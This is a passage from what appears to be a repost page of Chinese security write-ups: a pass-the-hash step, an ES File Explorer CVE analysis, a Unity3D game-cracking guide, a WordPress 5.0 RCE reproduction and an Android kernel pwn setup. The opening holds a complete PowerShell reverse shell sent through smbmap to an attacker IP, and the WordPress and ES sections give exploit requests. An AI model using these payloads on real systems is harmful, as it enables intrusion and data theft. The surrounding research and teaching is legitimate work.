在截图中由于 Kali 的 Openssl 版本太新有 bug,没办法连接上 Exchange 服务器使用自签名证书的HTTPS服务,在本机的 MacOS 上测试的

我再一次得到一个教训

平时没事别瞎更新整个系统,要更新也只更新需要的部分

利用用户哈希反弹 shell

哈希都拿到了,尝试反弹shell,使用 Windows 帐户哈希反弹 shell 的工具很多,我使用 smbmap

smbmap 已内置在Kali Linux

nc 监听端口

nc -lvnp 1337

反弹 shell

<span class="nt">smbmap</span> <span class="nt">-d</span> <span class="nt">evilcorp</span><span class="p">.</span><span class="nc">local</span> <span class="nt">-u</span> <span class="nt">Administrator</span> <span class="nt">-p</span> <span class="s1">'aad3b435b51404eeaad3b435b51404ee:fc525c9683e8fe067095ba2ddc971889'</span> <span class="nt">-H</span> <span class="nt">10</span><span class="p">.</span><span class="nc">10</span><span class="p">.</span><span class="nc">10</span><span class="p">.</span><span class="nc">2</span> <span class="nt">-x</span> <span class="s1">'powershell -command "function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=""""10.10.10.5""""; $port=""""1337"""";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte</span><span class="cp">[]</span><span class="s1"> $c.ReceiveBufferSize  ;$p=New-Object System.Diagnostics.Process  ;$p.StartInfo.FileName=""""cmd.exe""""  ;$p.StartInfo.RedirectStandardInput=1  ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0  ;$p.Start()  ;$is=$p.StandardInput  ;$os=$p.StandardOutput  ;Start-Sleep 1  ;$e=new-object System.Text.AsciiEncoding  ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length)  ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb</span><span class="cp">[</span><span class="mi">0</span><span class="nx">..</span><span class="err">$</span><span class="p">(</span><span class="nv">$pos</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="cp">]</span><span class="s1"> -contains 10)) {break}}  if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else {  $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out="""" """"}}  $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};"'</span>

img

代码中的 10.10.10.5 修改为攻击者IP,1337 修改为NC监听端口


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/833/

原文阅读

ES 文件浏览器安全漏洞分析(CVE-2019-6447)
吴烦恼 2019-2-28 9:41 转存

作者:0x7F@知道创宇404实验室
时间:2019.02.27

0x00 前言

ES 文件浏览器(ES File Explorer File Manager application)是一款安卓系统上的文件管理器,它支持在手机上浏览、管理文件。有超过 1 亿次下载量,是目前安卓系统上使用得最广的文件管理器。

2019年1月,由国外安全研究者公开一个关于 ES 文件浏览器的安全漏洞(CVE-2019-6447)。

2月下旬,笔者浏览到该漏洞的相关文章,想借此机会学习 APK 逆向,随即对该漏洞进行了复现分析,结合已公开的分析文章,发现原理非常简单,下面就来一探究竟吧。

0x01 漏洞概述

ES 文件浏览器在运行时会创建一个绑定在 59777 端口的 HTTP 服务,在该服务提供了 10+ 个命令,用于访问用户手机的数据以及执行应用程序;但该服务并没有对请求进行校验,从而导致出现安全漏洞。

影响范围
<= ES 文件浏览器 v4.1.9.7.4

修复方式
前往应用商城下载最新版即可。修复该漏洞的版本为(v4.1.9.9)

0x02 漏洞复现

漏洞复现环境

  • Windows 7
  • OPPP R7
  • ES 文件浏览器v4.1.9.4
  • ADB (Android Debug Bridge)

复现过程

  1. 通过 USB 连接手机与电脑,并打开 USB 调试。

  2. 通过 ADB 检查设备连接情况,并安装 ES 文件浏览器v4.1.9.4 到设备上。

  3. 在手机上可以看到 ES 文件浏览器已经安装成功,启动该应用;通过 ADB 查看当前网络端口情况,可以看到 59777 端口已经打开。

  4. 将手机和电脑配置到同一 WIFI 下,便于我们进行访问测试。

  5. 构造 HTTP 数据报文,将命令封装至 Json 数据中,请求 59777 端口;这里演示 getDeviceInfo命令,可以看到成功返回了设备的信息。

0x03 漏洞分析

反编译dex文件
对 ES 文件浏览器v4.1.9.4 进行分析,首先将该 APK 进行解压,可以看到其中包含了三个 *.dex 文件。使用 dex2jar 工具分别这三个文件进行反编译,得到三个 *.jar 文件。

使用 jd-gui 工具加载这三个 jar 文件,使用关键词搜索 59777commandgetDeviceInfo 以快速定位到漏洞逻辑部分,其位于 classes2-dex2jar.jar 下的 com.estrongs.android.f.a 路径下。

ES HTTP支持的指令

上图中,可以看到除了 getDeviceInfo 命令,该 HTTP 服务还支持不少的命令:

command description
listFiles 列出所有的文件
listPics 列出所有的图片
listVideos 列出所有的视频
listAudios 列出所有的音频
listApps 列出安装的应用
listAppsSystem 列出系统自带的应用
listAppsPhone 列出通信相关的应用
listAppsSdcard 列出安装在sd卡上的应用
listAppsAll 列出所有的应用
getAppThumbnail 列出指定应用的图标
appLaunch 启动制定的应用
appPull 从设备上下载应用
getDeviceInfo 获取系统信息

除了以上列出的命令,还可以直接访问 url+系统文件路径,直接访问文件数据:

curl --header "Content-Type: application/json" http://192.168.0.105:59777/etc/wifi_mos.sh

命令执行示例(列出所有的文件):

curl --header "Content-Type: application/json" --request POST --data "{\"command\":\"listFiles\"}" http://192.168.0.105:59777

命令处理

其命令处理部分逻辑大致就是进行相应的逻辑处理,并将执行的结果封装为 Json 数据格式,拼接为 HTTP 协议进行返回,下面是 getDeviceInfo 的处理逻辑:

通过以上的功能逻辑可以看到,HTTP 服务是 ES 文件浏览器的一个内置功能,可能是用于不同设备之间的共享,但由于没有对请求进行校验,导致安全问题的出现。

0x04 补丁分析

下载已补丁的版本 v4.1.9.9.3,同样对 APK 进行解包,通过 dex2jar 反编译为 *.jar 文件,对文件进行分析。

POST 请求校验

v4.1.9.9.3 版本可能重新进行了代码混淆,其反编译后的机构和 v4.1.9.4 有很大的差别;我们仍然使用关键词搜索来快速定位到之前的漏洞逻辑部分。位于 classes3-dex2jar.jar 下的 es.qg 路径下。

从上图可以看到,标注地方是新版本所添加的补丁,在处理请求时,首先进行检查,检查失败的情况下返回 400 错误。

跟入 ap.d() 函数中,可以看到两个关键检查函数:

1.检查函数1

该函数获取了 UIModeManager 对象,当该对象的类型等于 4 时,返回 true,通过查阅官方文档,在该处数值 4 对应的类型为 UI_MODE_TYPE_TELEVISION,也就是安卓TV的类型。说明官方将该功能限制在安卓TV的设备上了。

2.检查函数2

检查函数2依然是对安卓TV的判断,在上一步函数获取了屏幕的尺寸并转换成了一个值,在该处判断值要大于 20,才能返回 true

Andoird TV会受到威胁?

根据以上补丁的情况来看,可以猜测到 Android TV 似乎受到该漏洞的威胁,但实际上并不会。因为 Android TV 处理流程和手机版的不同,本身也不受该漏洞的影响。

将有漏洞的版本(v4.1.9.4)安装至 Android TV 上;经过测试可以发现,在 Android TV 下发起请求将直接返回 500 错误。

原因是程序在判断设备是 TV 时,会首先提前做一次来源 IP 检查(判断是否由是本地发起的请求,检查失败也返回 500 错误),随后再检查可访问的路径,如下函数(classes3-dex2jar.jar/es.qj$a):

但经过测试,发现该数组的值为 NULL,直接返回 false

最终跳转至该语句,返回 500 错误。所以 Android TV 也不会受到该漏洞的影响。

Get请求列目录修复

在上文中还提到发送 GET 请求可以列文件,在新版本也进行了修复。

当以 GET 方式发起请求时,将进入 ai.bK() 的函数判断,在该函数中检查了 HTTP 的数据必须以 http://127.0.0.1: 开头,才可以返回文件列表;HTTP 协议都是以 GET/POST/... 开头,肯定不会以这个方式开头,虽然不太理解这个检查,但还算是解决了列目录的问题。

0x05 总结

通过以上的分析,可以完整的了解到 ES 文件浏览器安全漏洞的触发过程以及补丁情况;整体看来就是,开发者在设计共享访问功能的时候忽略对请求的检查,从而导致的安全漏洞。

References:


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/831/

 

原文阅读

简单 Unity3D 安卓游戏逆向思路
吴烦恼 2019-2-27 9:39 转存

作者:dawu@知道创宇404实验室
时间:2019/02/25

0x00 前言

这是一篇游戏引发的简单技术文。

起因是个人很喜欢玩 google play 上的一些数字类型(角色攻击是线性增长,怪物指数变强,到后期越打不过,通过重生增强属性变强)的小游戏。但是这种游戏仍旧存在一定缺陷,前期资源不多,玩的太慢、玩的时间长了,就感觉没意思,就不想玩了,所以在玩到游戏中期的时候,往往都会去网上搜索XXX破解版/内购版,快速进入后期然后放弃这款游戏。

这样的做法其实是很不安全的,因为无法判断XXX破解版/内购版在破解/内购之后还做了什么。所以我最后的解决办法是,逆向这些apk,修改游戏逻辑。让我在玩的时候,可以快速度过缓慢的前期。

逆向了几个玩过的游戏,发现这类游戏使用Unity3D开发的居多。因此本文将介绍简单Unity3D类安卓游戏的逆向修改思路。

0x01 准备工具

逆向最简单的Unity3D类安卓游戏建议使用安装好 JAVA 环境的Windows系统(涉及到dll文件的修改,所以Windows平台更加适合)。

1.1 安卓 APK 逆向三件套

一般 APK 逆向,常使用到 apktooldex2jarjd-gui。在逆向 Unity3D 安卓游戏时,仅仅只需要使用到 apktool

  • Apktool: 用于解压/重新打包安卓APK。
  • dex2jar: 将解压出来的dex文件变成jar,方便使用jd-gui查看
  • jd-gui: 查看dex文件逻辑

1.2 dll文件逆向三件套

因为一般的 Unity3D 安卓游戏的主逻辑都在 asserts/bin/data/Managed/Assembly-CSarp.dll 中,所以我们还需要 dll文件逆向/重新打包 的工具。

  • ILSpy: 用于查看dll程序逻辑
  • ILDASM: 用于反编译dll文件,生成il文件(存放了dll反编译后的指令)和res文件(反编译后的资源文件),可以安装Windows SDK或者从网上下载。
  • ilasm: .net4.0自带了,位置在 C:\Windows\Microsofr.NET\Framework\v4.0.30319\ilasm.exe

1.3 生成重新打包的自签名证书

修改完 apk 之后,需要对 apk 进行签名。该命令用于生成签名的证书。

keytool -genkey -v -keystore my-release-key.keystore -alias alias_name -keyalg RSA -keysize 2048 0validity 10000
# 记住设置的密码,最后自签名应用的时候需要输入密码

0x02 开发一个简单的 Unity3D 游戏

用Unity3D开发了一个简单小游戏作为本文的样例,逻辑十分简单:

  1. 英雄每过一关战斗力都会增加100.
  2. 怪物的战斗力为 Math.pow(2,当前关数)
  3. 当英雄战斗力小于怪物的战斗力时,英雄无法闯关。英雄可以考虑修炼或者重生提高战斗力。
  4. 英雄每次修炼战斗力都会增加1000.
  5. 英雄选择重生后,关卡数清零,需要重新闯关,但英雄初始战斗力会增加 2000 * 重生前闯关数。

具体代码可以参考 Github

0x03 游戏逆向步骤

1.使用 apktool 解压游戏安装包

java -jar apktool.jar d game.apk

2.提取出 game/assets/bin/data/Managed/Assembly-CSarp.dll ,使用 ILSpy 打开即可看到 dll 里面的逻辑。

注: Unity3D开发的安卓游戏,其核心代码都在这个 dll 文件中,所以逆向/修改这个 dll 文件就可以了。这也是 Unity3D 和 其它安卓逆向不同的地方。

在没有混淆的情况下,反编译出的函数内容和原内容十分相似:

ILSpy 反编译的 Click1 内容

Click1 的原始代码3.找到关键函数、关键逻辑后,就可以尝试反编译 dll 文件并修改。使用 ILDASM 将 dll 文件反编译成 il 文件。使用 ILDASM 打开 dll 文件后, File -> dump 就可以导出反编译结果了。

4.根据步骤2,就很容易理解逻辑了,然后根据速查表,就可以知道在步骤3导出的il文件中修改哪里了。例如步骤2中 Click1 就是游戏中 点击闯关 按钮绑定的逻辑。闯关的关键判断就在: info.hero_power + info.temp_power + info.add_power >= info.monster_power。所以打开步骤3中生成的 .il 文件,结合 .NET IL 指令速查表修改这部分对应的关键逻辑即可。

修改为 info.hero_power + info.temp_power + info.add_power != info.monster_power 就可以通过此处的逻辑判断。

5.修改关键逻辑后,通过重新编译 dll 文件、apk 文件、签名修改后的 apk 就可以在手机上安装运行了。

重新编译dll文件命令如下:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\ilasm.exe game.il /output=Assembly-CSarp.dll /dll

将重新编译的dll放回 game/assets/bin/data/Managed/ 目录下,使用apktool重新打包apk:

java -jar apktool.jar b game
cp game/dist/game.apk ./

自签名应用:

jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore my-release-key.keystore game.apk alias_name

6.修改成功,开局修炼一次后,就可以无限闯关。顺利到达第30关。

0x04 杂谈和总结

  1. Unity3D有一个较为明显的特征: 开局会显示游戏LOGO。这个可以作为判断一个游戏是不是Unity3D开发的小参考。
  2. 文中的demo到了31关,就会发生整型溢出,怪物战斗力变为负数。原因是怪物战斗力的值为int型。在以前玩过的某个后期极度不平衡的游戏中,我的确遇到过整型溢出的问题。造成花钱升级还能增余额的情况。
  3. 在修改游戏之前把游戏语言调整为英文有助于在逆向的时候理解各个函数的意义(对于没有混淆的应用)。
  4. 游戏修改之后,很容易丧失原本的乐趣,变成纯粹的数字游戏。谨慎修改!

0x05 参考链接

  1. Apktool
  2. ILSpy
  3. .NET IL 指令速查表
  4. Unity3d类安卓游戏逆向分析初探

Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/829/

原文阅读

WordPress 5.0 RCE 详细分析
吴烦恼 2019-2-27 9:36 转存
作者:LoRexxar'@知道创宇404实验室
时间:2019年2月22日
2月20号,RIPS团队在官网公开了一篇WordPress 5.0.0 Remote Code Execution,CVE编号CVE-2019-6977,文章中主要提到在author权限账号下,可以通过修改Post Meta变量覆盖、目录穿越写文件、模板包含3个漏洞构成一个RCE漏洞。

但在原文中,作者只大致描述了漏洞原理,其中大量的漏洞细节被省略,甚至部分的利用和后端服务器也有相对应的关系,所以在复现的过程中遇到了各种问题,我们花了大量的时间分析代码,最终终于完全还原了该漏洞,其中部分关键利用点用了和原文有些许差异的利用方式(原文说的太含糊其辞,无法复现)。在下面的分析中,我会尽量按照复现过程中的思考方式及流程,以便读者理解。

感谢在复现、分析过程中一起的小伙伴@Badcode,帮助我修改了很多错误的@Venenof7、@sysorem,给我提供了很多帮助:>

漏洞要求

在反复斟酌漏洞条件之后,我们最终把漏洞要求约束为

影响包括windows、linux、mac在内的服务端,后端图片处理库为gd/imagick都受到影响,只不过利用难度有所差异。

其中,原文提到只影响release 5.0.0版,但现在官网上可以下载的5.0.0已经修复该漏洞。实际在WordPress 5.1-alpha-44280更新后未更新的4.9.9~5.0.0的WordPress都受到该漏洞影响。

漏洞复现

下面的复现流程包含部分独家利用以及部分与原文不符的利用方式,后面的详情会解释原因。

传图片

改信息

保留该数据包,并添加POST

&amp;meta_input[_wp_attached_file]=2019/02/2-4.jpg#/../../../../themes/twentynineteen/32.jpg

裁剪

同理保留改数据包,并将POST改为下面的操作,其中nonce以及id不变

action=crop-image&amp;_ajax_nonce=8c2f0c9e6b&amp;id=74&amp;cropDetails[x1]=10&amp;cropDetails[y1]=10&amp;cropDetails[width]=10&amp;cropDetails[height]=10&amp;cropDetails[dst_width]=100&amp;cropDetails[dst_height]=100

触发需要的裁剪

图片已经过去了

包含,我们选择上传一个test.txt,然后再次修改信息,如前面

&amp;meta_input[_wp_page_template]=cropped-32.jpg

点击查看附件页面,如果图片被裁剪之后仍保留敏感代码,则命令执行成功。

详细分析

下面我们详细分析一下整个利用过程,以及在各个部分踩的坑。我们可以简单的把漏洞利用链分为4个大部分。

1、通过Post Meta变量覆盖,修改媒体库中图片的_wp_attached_file变量。

这个漏洞是整个利用链的核心点,而WordPress的修复方式也主要是先修复了这个漏洞。WordPress很良心的在所有的release版本中都修复了这个问题(官网下载的5.0.0已经修复了),由于原文中曾提到整个利用链受到4.9.9和5.0.1的另一个安全补丁影响,所以只有5.0.0受影响。在分析还原WordPress的更新commit中,我们寻找到了这个漏洞的修复commit,并获得了受该漏洞影响的最新版本为WordPress commit <= 43bdb0e193955145a5ab1137890bb798bce5f0d2 (WordPress 5.1-alpha-44280)

2、通过图片的裁剪功能,将裁剪后的图片写到任意目录下(目录穿越漏洞)

在WordPress的设定中,图片路径可能会收到某个插件的影响而不存在,如果目标图片不在想要的路径下时,WordPress就会把文件路径拼接为形似http://127.0.0.1/wp-content/uploads/2019/02/2.jpg 的url链接,然后从url访问下载原图

如果我们构造?或者#后面跟路径,就能造成获取图片位置和写入图片位置的不一致。。

这部分最大问题在于,前端的裁剪功能并不是存在漏洞的函数,我们只能通过手动构造这个裁剪请求来完成。

action=crop-image&amp;_ajax_nonce=8c2f0c9e6b&amp;id=74&amp;cropDetails[x1]=10&amp;cropDetails[y1]=10&amp;cropDetails[width]=10&amp;cropDetails[height]=10&amp;cropDetails[dst_width]=100&amp;cropDetails[dst_height]=100

ps: 当后端图片库为Imagick时,Imagick的Readimage函数不能读取远程http协议的图片,需要https.

3、通过Post Meta变量覆盖,设置_wp_page_template变量。

这部分在原文中一笔带过,也是整个分析复现过程中最大的问题,现在公开的所有所谓的WordPress RCE分析,都绕开了这部分。其中有两个最重要的点:

  • 如何设置这个变量?
  • 如何触发这个模板引用?

这个部分在下文中会详细解释。

4、如何让图片在被裁剪过之后,保留或者出现包含php敏感代码。

这部分就涉及到了后端图片库的问题,WordPress用到的后端图片处理库有两个,gd和imagick,其中默认优先使用imagick做处理。

  • imagick
    利用稍微比较简单,imagick不会处理图片中的exif部分。将敏感代码加入到exif部分就可以不会改动。
  • gd
    gd的利用就比较麻烦了,gd不但会处理图片的exif部分,还会删除图片中出现的php代码。除非攻击者通过fuzz获得一张精心构造的图片,可以在被裁剪处理之后刚好出现需要的php代码(难度较高)。

最后通过链接上述4个流程,我们就可以完整的利用这个漏洞了,接下来我们详细分析一下。

Post Meta变量覆盖

当你对你上传的图片,编辑修改其信息时,你将会触发action=edit_post

wp-admin/includes/post.php line 208

post data来自于POST

如果是修复过的,在line 275行有修复patch

$translated = _wp_get_allowed_postdata( $post_data );

https://github.com/WordPress/WordPress/commit/43bdb0e193955145a5ab1137890bb798bce5f0d2

这个patch直接禁止了传入这个变量

<span class="kd">function</span> <span class="nx">_wp_get_allowed_postdata</span><span class="p">(</span> <span class="nx">$post_data</span> <span class="o">=</span> <span class="kc">null</span> <span class="p">)</span> <span class="p">{</span>
    <span class="k">if</span> <span class="p">(</span> <span class="nx">empty</span><span class="p">(</span> <span class="nx">$post_data</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
        <span class="nx">$post_data</span> <span class="o">=</span> <span class="nx">$_POST</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="c1">// Pass through errors</span>
    <span class="k">if</span> <span class="p">(</span> <span class="nx">is_wp_error</span><span class="p">(</span> <span class="nx">$post_data</span> <span class="p">)</span> <span class="p">)</span> <span class="p">{</span>
        <span class="k">return</span> <span class="nx">$post_data</span><span class="p">;</span>
    <span class="p">}</span>
    <span class="k">return</span> <span class="nx">array_diff_key</span><span class="p">(</span> <span class="nx">$post_data</span><span class="p">,</span> <span class="nx">array_flip</span><span class="p">(</span> <span class="nx">array</span><span class="p">(</span> <span class="s1">'meta_input'</span><span class="p">,</span> <span class="s1">'file'</span><span class="p">,</span> <span class="s1">'guid'</span> <span class="p">)</span> <span class="p">)</span> <span class="p">);</span>
<span class="p">}</span>

一路跟下去这个函数可以一直跟到wp-includes/post.php line 3770

update_post_meta会把所有字段遍历更新

就会更新数据库中的相应字段

配合变量覆盖来目录穿越写文件

根据原文的描述,我们首先需要找到相应的裁剪函数

/wp-admin/includes/image.php line 25

这里传入的变量src就是从修改过的_wp_attached_file而来。

在代码中,我们可以很轻易的验证一个问题。在WordPress的设定中,图片路径可能会受到某个插件的影响而不存在,如果目标图片不在想要的路径下时,WordPress就会把文件路径拼接为形似 http://127.0.0.1/wp-content/uploads/2019/02/2.jpg 的url链接,然后从url访问下载原图

这里的_load_image_to_edit_path就是用来完成这个操作的。

也正是因为这个原因,假设我们上传的图片名为2.jpg,则原本的_wp_attached_file2019/02/2.jpg

然后我们通过Post Meta变量覆盖来修改_wp_attached_file2019/02/1.jpg?/../../../evil.jpg

这里的原图片路径就会拼接为{wordpress_path}/wp-content/uploads/2019/02/1.jpg?/../../../evil.jpg,很显然这个文件并不存在,所以就会拼接链接为http://127.0.0.1/wp-content/uploads/2019/02/2.jpg?/../../../evil.jpg,后面的部分被当作GET请求,原图片就会成功的获取到。

紧接着进入save函数的新图片路径会拼接为{wordpress_path}/wp-content/uploads/2019/02/1.jpg?/../../../cropped-evil.jpg,我们就能成功写入新文件了。

后面的save函数会调用你当前图片库的裁剪功能,生成图片结果。(默认为imagick)

/wp-includes/class-wp-image-editor.php line 394

但这里看上去没有任何限制,实际上不是的。在写入的目标目录下,存在一个假目录,为1.jpg?

  • 而linux、mac支持这种假目录,可以使用?号
  • 但windows在路径中不能有?号,所以这里改用了#号
&amp;meta_input[_wp_attached_file]=2019/02/2-1.jpg#/../../../evil.jpg

成功写入文件

cropped-evil.jpg

控制模板参数来导致任意文件包含

进度进展到这就有点儿陷入僵局,因为原文中关于这部分只用了一句话带过,在实际利用的过程中遇到了很多问题,甚至不同版本的WordPress会有不同的表现,其中诞生了多种利用方式,这里我主要讲1种稳定利用的方式。

设置_wp_page_template

首先我们先正向分析,看看在什么情况下我们可以设置_wp_page_template

首先可以肯定的是,这个变量和_wp_attached_file一样都属于Post Meta的一部分,可以通过前面的操作来对这个变量赋值

但实际测试过程中,我们发现,我们并不能在任何方式下修改并设置这个值。

/wp-includes/post.php line 3828

  • 如果你设置了这个值,但这个文件不存在,则会被定义为default
  • 如果该值被设置,则没办法通过这种方式修改。

所以这里我们可能需要新传一个媒体文件,然后通过变量覆盖来设置这个值。

加载模板

当我们成功设置了该变量之后,我们发现,并不是所有的页面都会加载模板,我们重新回到代码中。

最终加载模板的地方在

wp-includes/template.php line 634

只要是在$template_names中需要被加载的文件名,会在当前主题的目录下遍历加载。

回溯跟入

wp-includes/template.php line 23

继续回溯我们就能发现一些端倪,当你访问页面的时候,页面会通过你访问的页面属性,调用不同的模板加载函数。

wp-includes/template-loader.php line 48

在这么多的模板调用函数中只有两个函数get_page_templateget_single_template这两个在函数中调用了get_page_template_slug函数。

wp-includes/template.php line 486

get_page_template_slug函数从数据库中获取了_wp_page_template

/wp-includes/post-template.php line 1755

只要我们能让模板加载时进入get_page_templateget_single_template,我们的模板就可以成功被包含。

由于代码和前端的差异,我们也没有完全找到触发的条件是什么,这里选了一个最简单的,即上传一个txt文件在资源库,然后编辑信息并预览。

生成图片马

这部分就涉及到了后端图片库的问题,WordPress用到的后端图片处理库有两个,gd和imagick,其中默认优先使用imagick做处理。

  • imagick

利用稍微比较简单,imagick不会处理图片中的exif部分。将敏感代码加入到exif部分就可以不会改动。

  • gd

gd的利用就比较麻烦了,gd不但会处理图片的exif部分,还会删除图片中出现的php代码。除非攻击者通过fuzz获得一张精心构造的图片,可以在被裁剪处理之后刚好出现需要的php代码(难度较高)。

由于这不是漏洞最核心的部分,这里就不赘述了。

修复

1、由于该漏洞主要通过图片马来完成RCE,而后端图片库为gd时,gd会去除图片信息中exif部分,并去除敏感的php代码。但如果攻击者精心设计一张被裁剪后刚好生成含有敏感代码的图片时,就可以造成RCE漏洞。如果后端图片库为imagick时,则将敏感代码加入到图片信息的exif部分,就可以造成RCE漏洞。

官网上可供下载的所有release版本中都修复了这个漏洞,更新至最新版或者手动将当前版本覆盖安装即可。

2、 通用防御方案
使用第三方防火墙进行防护(如创宇盾[https://www.yunaq.com/cyd/])。

3、技术业务咨询
知道创宇技术业务咨询热线 :
400-060-9587(政府,国有企业)、028-68360638(互联网企业)

总结

整个RCE的利用链由4部分组成,深入WordPress的底层Core逻辑,原本来说这4个部分无论哪个都很难造成什么危害,但却巧妙地连接在一起,并且整个部分意外的都是默认配置,大大增加了影响面。在安全程度极高的WordPress中能完成这种的攻击利用链相当难得,从任何角度都是一个非常nice的漏洞:>

最后再次感谢我的小伙伴们以及整个过程中给我提供了很大帮助的朋友们:>


Paper

本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/822/

原文阅读

从 0 开始学 Linux 内核之 android 内核栈溢出 ROP 利用
Nanako 2019-2-15 2:9 转存

作者:Hcamael@知道创宇404实验室

最近在研究一个最简单的android内核的栈溢出利用方法,网上的资料很少,就算有也是旧版内核的,新版的内核有了很大的不同,如果放在x86上本应该是很简单的东西,但是arm指令集有很大的不同,所以踩了很多坑

把上一篇改了一下名字,换成了从0开始学Linux内核,毕竟不是专业搞开发的,所以驱动开发没必要学那么深,只要会用,能看懂代码基本就够用了。本篇开始学Linux kernel pwn了,而内核能搞的也就是提权,而提权比较多人搞的就是x86和arm指令集的Linux系统提权了,arm指令集的基本都是安卓root和iOS越狱,而mips指令集的几乎没啥人在搞,感觉是应用场景少。

环境准备

android内核编译

下载相关源码依赖

android内核源码使用的是goldfish[1],直接clone下来,又大又慢又久,在git目录下编译也麻烦,所以想搞那个版本的直接下那个分支的压缩包就好了

本文使用的工具的下载地址:

PS:git clone速度慢的话可以使用国内镜像加速:s/android.googlesource.com/aosp.tuna.tsinghua.edu.cn/

<span class="token comment"># 下载源码
</span>$ wget https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>android<span class="token punctuation">.</span>googlesource<span class="token punctuation">.</span>com<span class="token operator">/</span>kernel<span class="token operator">/</span>goldfish<span class="token operator">/</span><span class="token operator">+</span>archive<span class="token operator">/</span>android<span class="token operator">-</span>goldfish<span class="token number">-3.10</span><span class="token punctuation">.</span>tar<span class="token punctuation">.</span>gz
$ tar zxf goldfish<span class="token operator">-</span>android<span class="token operator">-</span>goldfish<span class="token number">-3.10</span><span class="token punctuation">.</span>tar<span class="token punctuation">.</span>gz
<span class="token comment"># 下载编译工具
</span>$ git clone https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>android<span class="token punctuation">.</span>googlesource<span class="token punctuation">.</span>com<span class="token operator">/</span>platform<span class="token operator">/</span>prebuilts<span class="token operator">/</span>gcc<span class="token operator">/</span>linux<span class="token operator">-</span>x86<span class="token operator">/</span>arm<span class="token operator">/</span>arm<span class="token operator">-</span>linux<span class="token operator">-</span>androideabi<span class="token number">-4.6</span>
<span class="token comment"># 下载一键编译脚本
</span>$ git clone https<span class="token punctuation">:</span><span class="token operator">/</span><span class="token operator">/</span>android<span class="token punctuation">.</span>googlesource<span class="token punctuation">.</span>com<span class="token operator">/</span>platform<span class="token operator">/</span>prebuilts<span class="token operator">/</span>qemu<span class="token operator">-</span>kernel<span class="token operator">/</span>
<span class="token comment"># 只需要kernel-toolchain和build-kernel.sh
</span>$ cp qemu<span class="token operator">-</span>kernel<span class="token operator">/</span>build<span class="token operator">-</span>kernel<span class="token punctuation">.</span>sh goldfish<span class="token operator">/</span>
$ cp <span class="token operator">-</span>r qemu<span class="token operator">-</span>kernel<span class="token operator">/</span>kernel<span class="token operator">-</span>toolchain<span class="token operator">/</span> goldfish<span class="token operator">/</span>

修改内核

学android kernel pwn最初看的是Github上的一个项目[3],不过依赖的是旧内核,估计是android 3.4以下的内核,在3.10以上的有各种问题,所以我自己做了些修改,也开了一个Github源:https://github.com/Hcamael/android_kernel_pwn

对kernel源码有两点需要修改:

1.添加调试符号

首先需要知道自己要编译那个版本的,我编译的是32位Android内核,使用的是goldfish_armv7,配置文件在: arch/arm/configs/goldfish_armv7_defconfig

但是不知道为啥3.10里没有该配置文件,不过用ranchu也一样:

给内核添加调试符号,只需要在上面的这个配置文件中添加:CONFIG_DEBUG_INFO=y,如果是goldfish就需要自己添加,ranchu默认配置已经有了,所以不需要更改。

2.添加包含漏洞的驱动

目的是研究Android提权利用方法,所以是自己添加一个包含栈溢出的驱动,该步骤就是学习如何添加自己写的驱动

上面给了一个我的Github项目,把该项目中的vulnerabilities/目录复制到内核源码的驱动目录中:

$ cp vulnerabilities<span class="token operator">/</span> goldfish<span class="token operator">/</span>drivers<span class="token operator">/</span>

修改Makefile:

$ <span class="token keyword">echo</span> <span class="token string">"obj-y += vulnerabilities/"</span> <span class="token operator">&gt;</span><span class="token operator">&gt;</span> drivers<span class="token operator">/</span>Makefile

导入环境变量后,使用一键编译脚本进行编译:

$ export PATH<span class="token operator">=</span><span class="token operator">/</span>root<span class="token operator">/</span>arm<span class="token operator">-</span>linux<span class="token operator">-</span>androideabi<span class="token number">-4.6</span><span class="token operator">/</span>bin<span class="token operator">/</span><span class="token punctuation">:</span><span class="token property">$PATH</span>
$ <span class="token punctuation">.</span><span class="token operator">/</span>build<span class="token operator">-</span>kernel<span class="token punctuation">.</span>sh <span class="token operator">--</span>config<span class="token operator">=</span><span class="token string">"ranchu"</span>

PS: 在docker中复现环境的时候遇到一个问题,可以参考:https://stackoverflow.com/questions/42895145/cross-compile-the-kernel

编译好后的内核在/tmp/qemu-kernel目录下,有两个文件,一个zImage,内核启动镜像,一个vmlinux是kernel的binary文件,丢ida里面分析内核,或者给gdb提供符号信息

Android模拟环境准备

内核编译好后,就是搞Android环境了,可以直接使用Android Studio[2]一把梭,但是如果不搞开发的话,感觉Studio太臃肿了,下载也要下半天,不过还好,官方提供了命令行工具,觉得Studio太大的可以只下这个

PS: 记得装java,最新版的java 11不能用,我用的是java 8

建一个目录,然后把下载的tools放到这个目录中

$ mkdir android_sdk
$ mv tools android_sdk<span class="token operator">/</span>

首先需要使用tools/bin/sdkmanager装一些工具

<span class="token comment"># 用来编译android binary(exp)的,如果直接用arm-liunx-gcc交叉编译工具会缺一些依赖,解决依赖太麻烦了,还是用ndk一把梭方便
